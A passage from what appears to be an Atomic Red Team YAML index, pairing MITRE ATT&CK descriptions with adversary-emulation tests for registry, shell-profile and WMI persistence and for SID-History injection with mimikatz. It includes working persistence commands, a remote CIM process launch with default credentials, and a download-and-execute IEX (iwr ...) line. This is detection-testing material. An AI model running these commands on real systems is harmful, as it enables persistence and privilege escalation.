      description: "Adversaries may establish persistence and/or elevate privileges
        using system mechanisms that trigger execution based on specific events. Various
        operating systems have means to monitor and subscribe to events such as logons
        or other user activity such as running specific applications/binaries. Cloud
        environments may also support various functions and services that monitor
        and can be invoked in response to specific cloud events.(Citation: Backdooring
        an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation:
        Microsoft DART Case Report 001)\n\nAdversaries may abuse these mechanisms
        as a means of maintaining persistent access to a victim via repeatedly executing
        malicious code. After gaining access to a victim system, adversaries may create/modify
        event triggers to point to malicious content that will be executed whenever
        the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware
        Persistence on OS X)(Citation: amnesia malware)\n\nSince the execution can
        be proxied by an account with higher permissions, such as SYSTEM or service
        accounts, an adversary may be able to abuse these triggered execution mechanisms
        to escalate their privileges. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_deprecated: false
      x_mitre_detection: "Monitoring for additions or modifications of mechanisms
        that could be used to trigger event-based execution, especially the addition
        of abnormal commands such as execution of unknown programs, opening network
        sockets, or reaching out across the network. Also look for changes that do
        not line up with updates, patches, or other planned administrative activity.
        \n\nThese mechanisms may vary by OS, but are typically stored in central repositories
        that store configuration information such as the Windows Registry, Common
        Information Model (CIM), and/or specific named files, the last of which can
        be hashed and compared to known good values. \n\nMonitor for processes, API/System
        calls, and other common ways of manipulating these event repositories. \n\nTools
        such as Sysinternals Autoruns can be used to detect changes to execution triggers
        that could be attempts at persistence. Also look for abnormal process call
        trees for execution of other commands that could relate to Discovery actions
        or other techniques.  \n\nMonitor DLL loads by processes, specifically looking
        for DLLs that are not recognized or not normally loaded into a process. Look
        for abnormal process behavior that may be due to a process loading a malicious
        DLL. Data and events should not be viewed in isolation, but as part of a chain
        of behavior that could lead to other activities, such as making network connections
        for Command and Control, learning details about the environment through Discovery,
        and conducting Lateral Movement. "
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - SaaS
      - IaaS
      - Office 365
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Module: Module Load'
      - 'WMI: WMI Creation'
      - 'File: File Metadata'
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      - 'Cloud Service: Cloud Service Modification'
      - 'Process: Process Creation'
      type: attack-pattern
      id: attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db
      created: '2020-01-22T21:04:23.285Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1546
        external_id: T1546
      - source_name: FireEye WMI 2015
        description: Ballenthin, W., et al. (2015). Windows Management Instrumentation
          (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.
        url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
      - source_name: Microsoft DART Case Report 001
        description: Berk Veral. (2020, March 9). Real-life cybercrime stories from
          DART, the Microsoft Detection and Response Team. Retrieved May 27, 2022.
        url: https://www.microsoft.com/security/blog/2020/03/09/real-life-cybercrime-stories-dart-microsoft-detection-and-response-team
      - source_name: amnesia malware
        description: Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux
          Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018.
        url: https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/
      - source_name: Backdooring an AWS account
        description: Daniel Grzelak. (2016, July 9). Backdooring an AWS account. Retrieved
          May 27, 2022.
        url: https://medium.com/daniel-grzelak/backdooring-an-aws-account-da007d36f8f9
      - source_name: Varonis Power Automate Data Exfiltration
        description: Eric Saraga. (2022, February 2). Using Power Automate for Covert
          Data Exfiltration in Microsoft 365. Retrieved May 27, 2022.
        url: https://www.varonis.com/blog/power-automate-data-exfiltration
      - source_name: Malware Persistence on OS X
        description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite.
          Retrieved July 10, 2017.
        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1546
    atomic_tests:
    - name: Persistence with Custom AutodialDLL
      auto_generated_guid: aca9ae16-7425-4b6d-8c30-cad306fdbd5b
      description: "The DLL pointed to by the AutodialDLL registry key is loaded every
        time a process connects to the internet. Attackers can gain persistent code
        execution by setting this key to a DLL of their choice. \n\nThe sample dll
        provided, AltWinSock2DLL, will launch the notepad process. Starting and stopping
        a web browser such as MS Edge or Chrome should result in the dll executing.\n[Blog](https://www.mdsec.co.uk/2022/10/autodialdlling-your-way/)\n"
      supported_platforms:
      - windows
      dependencies:
      - description: 'AltWinSock2DLL DLL must exist on disk at specified at PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll

          '
        prereq_command: 'if (Test-Path PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll)
          { exit 0} else { exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\T1546\bin\" -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546/bin/AltWinSock2DLL.dll" -OutFile "PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll"
      executor:
        command: 'Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters
          -Name AutodialDLL -Value PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll

          '
        cleanup_command: Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters
          -Name AutodialDLL -Value  $env:windir\system32\rasadhlp.dll
        name: powershell
        elevation_required: true
    - name: HKLM - Persistence using CommandProcessor AutoRun key (With Elevation)
      auto_generated_guid: a574dafe-a903-4cce-9701-14040f4f3532
      description: |-
        An adversary may abuse the CommandProcessor AutoRun registry key to persist. Every time cmd.exe is executed, the command defined in the AutoRun key also gets executed.
        [reference](https://devblogs.microsoft.com/oldnewthing/20071121-00/?p=24433)
      supported_platforms:
      - windows
      input_arguments:
        command:
          description: Command to Execute
          type: string
          default: notepad.exe
      executor:
        command: New-ItemProperty -Path "HKLM:\Software\Microsoft\Command Processor"
          -Name "AutoRun" -Value "#{command}" -PropertyType "String"
        cleanup_command: Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Command
          Processor" -Name "AutoRun" -ErrorAction Ignore
        name: powershell
        elevation_required: true
    - name: HKCU - Persistence using CommandProcessor AutoRun key (Without Elevation)
      auto_generated_guid: 36b8dbf9-59b1-4e9b-a3bb-36e80563ef01
      description: |-
        An adversary may abuse the CommandProcessor AutoRun registry key to persist. Every time cmd.exe is executed, the command defined in the AutoRun key also gets executed.
        [reference](https://devblogs.microsoft.com/oldnewthing/20071121-00/?p=24433)
      supported_platforms:
      - windows
      input_arguments:
        command:
          description: Command to Execute
          type: string
          default: notepad.exe
      executor:
        command: |-
          $path = "HKCU:\Software\Microsoft\Command Processor"
          if (!(Test-Path -path $path)){
            New-Item -ItemType Key -Path $path
          }
          New-ItemProperty -Path $path -Name "AutoRun" -Value "#{command}" -PropertyType "String"
        cleanup_command: Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Command
          Processor" -Name "AutoRun" -ErrorAction Ignore
        name: powershell
    - name: WMI Invoke-CimMethod Start Process
      auto_generated_guid: adae83d3-0df6-45e7-b2c3-575f91584577
      description: |
        The following Atomic will create a New-CimSession on a remote endpoint and start a process usnig Invoke-CimMethod.
        This is a novel way to perform lateral movement or to start a remote process.
        This does require WinRM to be enabled. The account performing the run will also need to be elevated.
        A successful execution will stdout that the process started. On the remote endpoint, wmiprvse.exe will spawn the given process.
      supported_platforms:
      - windows
      input_arguments:
        dest:
          description: destination computer name
          type: string
          default: localhost
        password:
          description: password for account
          type: string
          default: P@ssword1
        username:
          description: account to use
          type: string
          default: Administrator
        process:
          description: process to spawn
          type: string
          default: calc.exe
      executor:
        name: powershell
        elevation_required: true
        command: "# Set the remote computer name and credentials\n $RemoteComputer
          = \"#{dest}\"\n $PWord = ConvertTo-SecureString -String \"#{password}\"
          -AsPlainText -Force\n $Credential = New-Object -TypeName System.Management.Automation.PSCredential
          -ArgumentList \"#{username}\", $Pword\n\n # Create a CIM session\n $CimSession
          = New-CimSession -ComputerName $RemoteComputer -Credential $Credential\n\n
          # Define the process you want to start\n $ProcessToStart = \"#{process}\"\n\n
          # Invoke the Create method on the Win32_Process class to start the process\n
          $Result = Invoke-CimMethod -CimSession $CimSession -ClassName Win32_Process
          -MethodName Create -Arguments @{CommandLine = $ProcessToStart}\n\n # Check
          the result\n if ($Result.ReturnValue -eq 0) {\n     Write-Host \"Process
          started successfully with Process ID: $($Result.ProcessId)\"\n } else {\n
          \    Write-Host \"Failed to start the process. Error code: $($Result.ReturnValue)\"\n
          }\n\n # Clean up the CIM session\n Remove-CimSession -CimSession $CimSession
          \n"
    - name: Adding custom debugger for Windows Error Reporting
      auto_generated_guid: 17d1a3cc-3373-495a-857a-e5dd005fb302
      description: |
        When applications hang, the Windows Error Reporting framework allows us to attach a debugger, if it is set up in the Registry.
        Adding executable of choice will let the executable to auto-execute when during any application crash due to functioning of WER framework
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKLM\Software\Microsoft\Windows\Windows Error Reporting\Hangs"
          /v Debugger /t REG_SZ /d "C:\Windows\System32\notepad.exe" /f

          '
        cleanup_command: 'reg delete "HKLM\Software\Microsoft\Windows\Windows Error
          Reporting\Hangs" /v Debugger /f

          '
        name: command_prompt
        elevation_required: true
  T1546.004:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Robert Wilson
      - Tony Lambert, Red Canary
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2
      type: attack-pattern
      created: '2020-01-24T14:13:45.936Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1546.004
        url: https://attack.mitre.org/techniques/T1546/004
      - source_name: intezer-kaiji-malware
        url: https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/
        description: 'Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware
          turning to Golang. Retrieved December 17, 2020.'
      - source_name: bencane blog bashrc
        url: https://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/
        description: Benjamin Cane. (2013, September 16). Understanding a little more
          about /etc/profile and /etc/bashrc. Retrieved February 25, 2021.
      - source_name: anomali-rocke-tactics
        url: https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect
        description: Anomali Threat Research. (2019, October 15). Illicit Cryptomining
          Threat Actor Rocke Changes Tactics, Now More Difficult to Detect. Retrieved
          December 17, 2020.
      - source_name: Linux manual bash invocation
        url: https://wiki.archlinux.org/index.php/Bash#Invocation
        description: ArchWiki. (2021, January 19). Bash. Retrieved February 25, 2021.
      - source_name: Tsunami
        url: https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/
        description: Claud Xiao and Cong Zheng. (2017, April 6). New IoT/Linux Malware
          Targets DVRs, Forms Botnet. Retrieved December 17, 2020.
      - source_name: anomali-linux-rabbit
        url: https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat
        description: Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot
          Malware Out of a Hat. Retrieved December 17, 2020.
      - source_name: Magento
        url: https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html
        description: Cesar Anjos. (2018, May 31). Shell Logins as a Magento Reinfection
          Vector. Retrieved December 17, 2020.
      - source_name: ScriptingOSX zsh
        url: https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/
        description: 'Armin Briegel. (2019, June 5). Moving to zsh, part 2: Configuration
          Files. Retrieved February 25, 2021.'
      - source_name: PersistentJXA_leopitt
        url: https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5
        description: Leo Pitt. (2020, August 6). Persistent JXA - A poor man's Powershell
          for macOS. Retrieved January 11, 2021.
      - source_name: code_persistence_zsh
        url: https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js
        description: Leo Pitt. (2020, November 11). Github - PersistentJXA/BashProfilePersist.js.
          Retrieved January 11, 2021.
      - source_name: macOS MS office sandbox escape
        url: https://cedowens.medium.com/macos-ms-office-sandbox-brain-dump-4509b5fed49a
        description: Cedric Owens. (2021, May 22). macOS MS Office Sandbox Brain Dump.
          Retrieved August 20, 2021.
      - source_name: ESF_filemonitor
        url: https://objective-see.com/blog/blog_0x48.html
        description: Patrick Wardle. (2019, September 17). Writing a File Monitor
          with Apple's Endpoint Security Framework. Retrieved December 17, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: 'Event Triggered Execution: .bash_profile .bashrc and .shrc'
      description: "Adversaries may establish persistence through executing malicious
        commands triggered by a user’s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s
        execute several configuration scripts at different points throughout the session
        based on events. For example, when a user opens a command-line interface or
        remotely logs in (such as via SSH) a login shell is initiated. The login shell
        executes scripts from the system (<code>/etc</code>) and the user’s home directory
        (<code>~/</code>) to configure the environment. All login shells on a system
        use /etc/profile when initiated. These configuration scripts run at the permission
        level of their directory and are often used to set environment variables,
        create aliases, and customize the user’s environment. When the shell exits
        or terminates, additional shell scripts are executed to ensure the shell exits
        appropriately. \n\nAdversaries may attempt to establish persistence by inserting
        commands into scripts automatically executed by shells. Using bash as an example,
        the default shell for most GNU/Linux systems, adversaries may add commands
        that launch malicious binaries into the <code>/etc/profile</code> and <code>/etc/profile.d</code>
        files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These
        files typically require root permissions to modify and are executed each time
        any shell on a system launches. For user level permissions, adversaries can
        insert malicious commands into <code>~/.bash_profile</code>, <code>~/.bash_login</code>,
        or <code>~/.profile</code> which are sourced when a user opens a command-line
        interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation:
        Linux manual bash invocation) Since the system only executes the first existing
        file in the listed order, adversaries have used <code>~/.bash_profile</code>
        to ensure execution. Adversaries have also leveraged the <code>~/.bashrc</code>
        file which is additionally executed if the connection is established remotely
        or an additional interactive shell is opened, such as a new tab in the command-line
        interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation:
        Magento) Some malware targets the termination of a program to trigger execution,
        adversaries can use the <code>~/.bash_logout</code> file to execute malicious
        commands at the end of a session. \n\nFor macOS, the functionality of this
        technique is similar but may leverage zsh, the default shell for macOS 10.15+.
        When the Terminal.app is opened, the application launches a zsh login shell
        and a zsh interactive shell. The login shell configures the system environment
        using <code>/etc/profile</code>, <code>/etc/zshenv</code>, <code>/etc/zprofile</code>,
        and <code>/etc/zlogin</code>.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation:
        code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login
        shell then configures the user environment with <code>~/.zprofile</code> and
        <code>~/.zlogin</code>. The interactive shell uses the <code>~/.zshrc</code>
        to configure the user environment. Upon exiting, <code>/etc/zlogout</code>
        and <code>~/.zlogout</code> are executed. For legacy programs, macOS executes
        <code>/etc/bashrc</code> on startup."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: "While users may customize their shell profile files, there
        are only certain types of commands that typically appear in these files. Monitor
        for abnormal commands such as execution of unknown programs, opening network
        sockets, or reaching out across the network when user profiles are loaded
        during the login process.\n\nMonitor for changes to <code>/etc/profile</code>
        and <code>/etc/profile.d</code>, these files should only be modified by system
        administrators. MacOS users can leverage Endpoint Security Framework file
        events monitoring these specific files.(Citation: ESF_filemonitor) \n\nFor
        most Linux and macOS systems, a list of file paths for valid shell options
        available on a system are located in the <code>/etc/shells</code> file.\n"
      x_mitre_is_subtechnique: true
      x_mitre_version: '2.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'File: File Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      x_mitre_permissions_required:
      - User
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1546.004
    atomic_tests:
    - name: Add command to .bash_profile
      auto_generated_guid: 94500ae1-7e31-47e3-886b-c328da46872f
      description: 'Adds a command to the .bash_profile file of the current user

        '
      supported_platforms:
      - macos
      - linux
      input_arguments:
        command_to_add:
          description: Command to add to the .bash_profile file
          type: string
          default: echo "Hello from Atomic Red Team T1546.004" > /tmp/T1546.004
      executor:
        command: 'echo ''#{command_to_add}'' >> ~/.bash_profile

          '
        cleanup_command: |
          head -n '-2' ~/.bash_profile > /tmp/T1546.004
          mv /tmp/T1546.004 ~/.bash_profile
        name: sh
    - name: Add command to .bashrc
      auto_generated_guid: 0a898315-4cfa-4007-bafe-33a4646d115f
      description: 'Adds a command to the .bashrc file of the current user

        '
      supported_platforms:
      - macos
      - linux
      input_arguments:
        command_to_add:
          description: Command to add to the .bashrc file
          type: string
          default: echo "Hello from Atomic Red Team T1546.004" > /tmp/T1546.004
      executor:
        command: 'echo ''#{command_to_add}'' >> ~/.bashrc

          '
        cleanup_command: |
          head -n '-2' ~/.bashrc > /tmp/T1546.004
          mv /tmp/T1546.004 ~/.bashrc
        name: sh
    - name: Add command to .shrc
      auto_generated_guid: 41502021-591a-4649-8b6e-83c9192aff53
      description: 'Adds a command to the .shrc file of the current user

        '
      supported_platforms:
      - linux
      input_arguments:
        command_to_add:
          description: Command to add to the .shrc file
          type: string
          default: echo "Hello from Atomic Red Team T1546.004" > /tmp/T1546.004
      executor:
        command: 'echo ''#{command_to_add}'' >> ~/.shrc

          '
        cleanup_command: |
          head -n '-2' ~/.shrc > /tmp/T1546.004
          mv /tmp/T1546.004 ~/.shrc
        name: sh
    - name: Append to the system shell profile
      auto_generated_guid: 694b3cc8-6a78-4d35-9e74-0123d009e94b
      description: 'An adversary may wish to establish persistence by executing malicious
        commands from the systems /etc/profile every time "any" user logs in.

        '
      supported_platforms:
      - linux
      input_arguments:
        text_to_append:
          description: Text to append to the /etc/profile file
          type: string
          default: "# Hello from Atomic Red Team T1546.004"
      executor:
        elevation_required: true
        name: sh
        command: 'echo ''#{text_to_append}'' >> /etc/profile

          '
        cleanup_command: 'sed -i "s/# Atomic Red Team was here! T1546.004//" /etc/profile

          '
    - name: Append commands user shell profile
      auto_generated_guid: bbdb06bc-bab6-4f5b-8232-ba3fbed51d77
      description: 'An adversary may wish to establish persistence by executing malicious
        commands from the users ~/.profile every time the "user" logs in.

        '
      supported_platforms:
      - linux
      input_arguments:
        text_to_append:
          description: Text to append to the ~/.profile file
          type: string
          default: "# Atomic Red Team was here... T1546.004"
      executor:
        elevation_required: false
        name: sh
        command: 'echo ''#{text_to_append}'' >> ~/.profile

          '
        cleanup_command: 'sed -i "s/# Atomic Red Team was here... T1546.004//" ~/.profile

          '
    - name: System shell profile scripts
      auto_generated_guid: 8fe2ccfd-f079-4c03-b1a9-bd9b362b67d4
      description: 'An adversary may wish to establish persistence by adding commands
        into any of the script files in the /etc/profile.d/ directory, which are executed
        every time "any" user logs in.

        '
      supported_platforms:
      - linux
      input_arguments:
        text_to_append:
          description: Text to append to the /etc/profile.d/bash_completion.sh file
          type: string
          default: "# Atomic Red Team was here... T1546.004"
      executor:
        elevation_required: true
        name: sh
        command: 'echo ''#{text_to_append}'' >> /etc/profile.d/bash_completion.sh

          '
        cleanup_command: 'sed -i "s/# Atomic Red Team was here... T1546.004//" /etc/profile.d/bash_completion.sh

          '
    - name: Create/Append to .bash_logout
      auto_generated_guid: 37ad2f24-7c53-4a50-92da-427a4ad13f58
      description: "The Bash shell runs ~/.bash_logout \"if it exists\" to run commands
        on user logout. An adversary may create or append to a .bash_logout to clear
        history, start processes etc. Note the ~/.bash_logout is only run if you explicitly
        exit or log out of an \"interactive login shell session\" i.e. via the console,
        SSH, /bin/bash -l or su -l <username>. \n\nThis test creates the art user,
        logs in, creates a .bash_logout which will echo some text into the art.txt
        file on logout and logs out and the /home/art/art.txt is created.\n"
      supported_platforms:
      - linux
      executor:
        name: bash
        elevation_required: true
        command: |
          useradd --create-home --shell /bin/bash art
          su --login art
          echo 'echo "Atomic Red Team was here... T1546.004" >> $HOME/art.txt' >> $HOME/.bash_logout
        cleanup_command: 'userdel -fr art

          '
  T1134.005:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Alain Homewood, Insomnia Security
      - Vincent Le Toux
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023
      type: attack-pattern
      created: '2020-02-18T18:34:49.414Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1134.005
        url: https://attack.mitre.org/techniques/T1134/005
      - url: https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx
        description: Microsoft. (n.d.). Security Identifiers. Retrieved November 30,
          2017.
        source_name: Microsoft SID
      - url: https://msdn.microsoft.com/library/ms679833.aspx
        description: Microsoft. (n.d.). Active Directory Schema - SID-History attribute.
          Retrieved November 30, 2017.
        source_name: Microsoft SID-History Attribute
      - url: https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems
        description: Microsoft. (2017, June 23). Well-known security identifiers in
          Windows operating systems. Retrieved November 30, 2017.
        source_name: Microsoft Well Known SIDs Jun 2017
      - url: https://technet.microsoft.com/library/ee617241.aspx
        description: Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved
          November 30, 2017.
        source_name: Microsoft Get-ADUser
      - url: https://adsecurity.org/?p=1772
        description: 'Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence
          #14: SID History. Retrieved November 30, 2017.'
        source_name: AdSecurity SID History Sept 2015
      - url: https://msdn.microsoft.com/library/ms677982.aspx
        description: Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November
          30, 2017.
        source_name: Microsoft DsAddSidHistory
      modified: '2022-04-25T14:00:00.188Z'
      name: 'Access Token Manipulation: SID-History Injection'
      description: |-
        Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).

        With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_detection: |-
        Examine data in user’s SID-History attributes using the PowerShell <code>Get-ADUser</code> cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015) Also monitor account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)

        Monitor for Windows API calls to the <code>DsAddSidHistory</code> function. (Citation: Microsoft DsAddSidHistory)
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Active Directory: Active Directory Object Modification'
      - 'Process: OS API Execution'
      - 'User Account: User Account Metadata'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1134.005
    atomic_tests:
    - name: Injection SID-History with mimikatz
      auto_generated_guid: 6bef32e5-9456-4072-8f14-35566fb85401
      description: 'Adversaries may use SID-History Injection to escalate privileges
        and bypass access controls. Must be run on domain controller

        '
      supported_platforms:
      - windows
      input_arguments:
        sid_to_inject:
          description: SID to inject into sidhistory
          type: string
          default: S-1-5-21-1004336348-1177238915-682003330-1134
        sam_account_name:
          description: Target account to modify
          type: string
          default: "$env:username"
        mimikatz_path:
          description: Mimikatz windows executable
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\mimikatz\x64\mimikatz.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Mimikatz executor must exist on disk and at specified location
          (#{mimikatz_path})

          '
        prereq_command: |
          $mimikatz_path = cmd /c echo #{mimikatz_path}
          if (Test-Path $mimikatz_path) {exit 0} else {exit 1}
        get_prereq_command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item
          -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction
          Ignore -Force | Out-Null\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\"
          -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl
          = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url
          | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath
          = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\"
          $basePath\n"
      executor:
        name: command_prompt
        elevation_required: true
        command: '#{mimikatz_path} "privilege::debug" "sid::patch" "sid::add /sid:#{sid_to_inject}
          /sam:#{sam_account_name}" "exit"

          '
        cleanup_command: '#{mimikatz_path} "sid::clear /sam:#{sam_account_name}" "exit"

          '
  T1548.004:
    technique:
      modified: '2022-11-08T14:00:00.188Z'
      name: Elevated Execution with Prompt
      description: "Adversaries may leverage the <code>AuthorizationExecuteWithPrivileges</code>
        API to escalate privileges by prompting the user for credentials.(Citation:
        AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to
        give application developers an easy way to perform operations with root privileges,
        such as for application installation or updating. This API does not validate
        that the program requesting root privileges comes from a reputable source
        or has been maliciously modified. \n\nAlthough this API is deprecated, it
        still fully functions in the latest releases of macOS. When calling this API,
        the user will be prompted to enter their credentials but no checks on the
        origin or integrity of the program are made. The program calling the API may
        also load world writable files which can be modified to perform malicious
        behavior with elevated privileges.\n\nAdversaries may abuse <code>AuthorizationExecuteWithPrivileges</code>
        to obtain root privileges in order to install malicious software on victims
        and install persistence mechanisms.(Citation: Death by 1000 installers; it's
        all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot
        RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036)
        to trick the user into granting escalated privileges to malicious code.(Citation:
        Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer
        Feb 2019) This technique has also been shown to work by modifying legitimate
        programs present on the machine that make use of this API.(Citation: Death
        by 1000 installers; it's all broken!)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: Consider monitoring for <code>/usr/libexec/security_authtrampoline</code>
        executions which may indicate that <code>AuthorizationExecuteWithPrivileges</code>
        is being executed. MacOS system logs may also indicate when <code>AuthorizationExecuteWithPrivileges</code>
        is being called. Monitoring OS API callbacks for the execution can also be
        a way to detect this behavior but requires specialized security tooling.
      x_mitre_platforms:
      - macOS
      x_mitre_is_subtechnique: true
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.0'
      x_mitre_contributors:
      - Jimmy Astle, @AstleJimmy, Carbon Black
      - Erika Noerenberg, @gutterchurl, Carbon Black
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Process: OS API Execution'
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_effective_permissions:
      - root
      type: attack-pattern
      id: attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0
      created: '2020-01-30T14:40:20.187Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1548/004
        external_id: T1548.004
      - source_name: AppleDocs AuthorizationExecuteWithPrivileges
        description: Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges.
          Retrieved August 8, 2019.
        url: https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg
      - source_name: Carbon Black Shlayer Feb 2019
        description: Carbon Black Threat Analysis Unit. (2019, February 12). New macOS
